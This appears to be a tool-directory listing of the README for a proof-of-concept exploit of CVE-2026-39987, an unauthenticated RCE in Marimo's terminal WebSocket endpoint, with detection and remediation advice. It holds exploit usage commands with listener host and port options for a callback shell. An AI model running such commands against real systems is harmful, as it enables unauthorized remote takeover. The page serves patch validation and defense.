Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39987 — Proof-of-concept exploit for CVE-2026-39987, a pre-authentication RCE in Marimo's terminal WebSocket endpoint. Demonstrates unauthenticated command execution and includes validation tests for vulnerable and patched instances. | Kitploit
Tools/GitHubGitHub/th3purge/cve-2026-39987
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

Proof-of-concept exploit for CVE-2026-39987, a pre-authentication RCE in Marimo's terminal WebSocket endpoint. Demonstrates unauthenticated command execution and includes validation tests for vulnerable and patched instances.

View Repository
17h 18m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987 Marimo Pre Authentication RCE


📋 Vulnerability Information

PropertyValue
CVECVE-2026-39987
ProductMarimo
VulnerabilityPre-Authentication Remote Code Execution
Attack VectorNetwork
AuthenticationNot required
User InteractionNot required
CWECWE-306 — Missing Authentication for Critical Function
SeverityCritical
Fixed Version0.23.0

CVE-2026-39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability affecting Marimo, a reactive Python notebook environment. The vulnerability is located in the terminal WebSocket endpoint /terminal/ws.


🔍 Root Cause

The vulnerable terminal endpoint creates an interactive PTY after accepting a WebSocket connection.

Conceptually, the vulnerable request flow is:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

The important security boundary is the missing authentication check.

An endpoint exposing arbitrary command execution must not allow an unauthenticated client to reach the PTY creation logic.


🎯 Purpose and Scope

Primary Objective

The purpose of this project is to demonstrate, in a controlled environment, the missing authentication enforcement affecting Marimo's terminal WebSocket endpoint.

Security teams can use the project to:

  • Validate exposure of their Marimo instances
  • Verify the effectiveness of security patches
  • Document potential security impact
  • Improve defensive controls
  • Support authorized vulnerability validation

Authorized Environments

  • Security laboratories owned by the tester
  • Systems with explicit written authorization
  • Training and educational environments
  • Authorized penetration tests and security assessments

Warning: Run the PoC only against systems you own or are explicitly authorized to test.


🔗 Exploitation Chain

The complete vulnerability chain can be summarized as follows:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

The critical security failure occurs at step 3.


📦 Installation

Requirements

root@kitploit:~
Python 3.7+
pip
Network access to the authorized target

Dependencies

root@kitploit:~
# Basic installation
pip install websocket-client

# Full installation
pip install websocket-client rich

Verification

root@kitploit:~
python3 exploit.py --help

🚀 Usage Guide

Basic Syntax

root@kitploit:~
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>

Practical Examples

1. Local Laboratory Test

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. Authorized Remote Test

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. Debug Mode

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 Parameter Reference

ParameterTypeDescriptionDefault
-u, --urlstringBase URL of the target Marimo instanceRequired
--lhoststringListener IP addressRequired
--lportintListener port (1-65535)Required
--timeoutintListener timeout in seconds15
--retriesintWebSocket connection retries3
--retry-delayfloatDelay between retries2.0
--no-verify-sslflagDisable SSL certificate verificationFalse
-v, --verboseflagEnable verbose outputFalse
-s, --silentflagSuppress outputFalse

🔄 Exploit Workflow

root@kitploit:~
Phase 1: Initialization
    ↓ Validate parameters
    ↓ Configure logging

Phase 2: Preparation
    ↓ Initialize listener
    ↓ Establish WebSocket connection

Phase 3: Validation
    ↓ Test terminal endpoint
    ↓ Verify authentication enforcement
    ↓ Record connection behavior

Phase 4: Demonstration
    ↓ Establish authorized test session
    ↓ Verify command-execution context
    ↓ Collect validation evidence

Phase 5: Cleanup
    ↓ Restore terminal state
    ↓ Close connections
    ↓ Release resources

🧪 Validation Tests

Test Scenarios

Vulnerable Instance

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Expected Result: The vulnerable terminal endpoint accepts the unauthenticated connection.

Patched Instance

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Expected Result: The connection is rejected or otherwise prevented by the authentication controls.

Timeout Test

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

Expected Result: The timeout is reported cleanly.


📈 Vulnerability Statistics

root@kitploit:~
Severity:       Critical (CVSS 9.3)
Complexity:     Low
Authentication: None required
Impact:         Remote Code Execution
Protocol:       WebSocket
Endpoint:       /terminal/ws
Fixed Version:  0.23.0

The source README classifies the issue as CVSS 9.3 Critical and identifies CWE-306, WebSocket as the protocol, and /terminal/ws as the affected endpoint.


🔎 Detection

Potential indicators of exploitation include unexpected WebSocket connections to:

root@kitploit:~
/terminal/ws

Defenders should investigate:

  • Unexpected connections to the terminal WebSocket endpoint
  • Unexpected shell processes spawned by Marimo
  • Suspicious child processes
  • Unexpected outbound connections
  • Access to sensitive environment variables
  • Unexpected filesystem activity
  • Unknown commands executed by the Marimo process

🛡️ Remediation

Upgrade Marimo to a fixed release:

root@kitploit:~
0.23.0 or later

Additional defensive recommendations include:

  • Do not expose Marimo directly to the public Internet unless necessary.
  • Place notebook services behind an authenticated reverse proxy.
  • Restrict network access to trusted users and networks.
  • Run Marimo with the minimum privileges required.
  • Avoid mounting sensitive host directories into containers.
  • Rotate credentials that may have been accessible to compromised instances.
  • Review logs for suspicious /terminal/ws activity.
  • Investigate potentially compromised instances instead of assuming that patching alone removes attacker persistence.

🔐 Security Classification

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

📄 License

AUTHORIZED USE ONLY

This project is provided exclusively for:

  • Authorized security testing
  • Academic research
  • Vulnerability validation
  • Security training
  • Defensive security development

Unauthorized use is strictly prohibited and may violate applicable local and international laws.


⚠️ Disclaimer

This project is provided for security research, vulnerability validation, and educational purposes.

Do not use the PoC against systems that you do not own or do not have explicit authorization to test.

The maintainers are not responsible for misuse, unauthorized testing, damage, data loss, or any consequences resulting from the use of this project.

Download Tool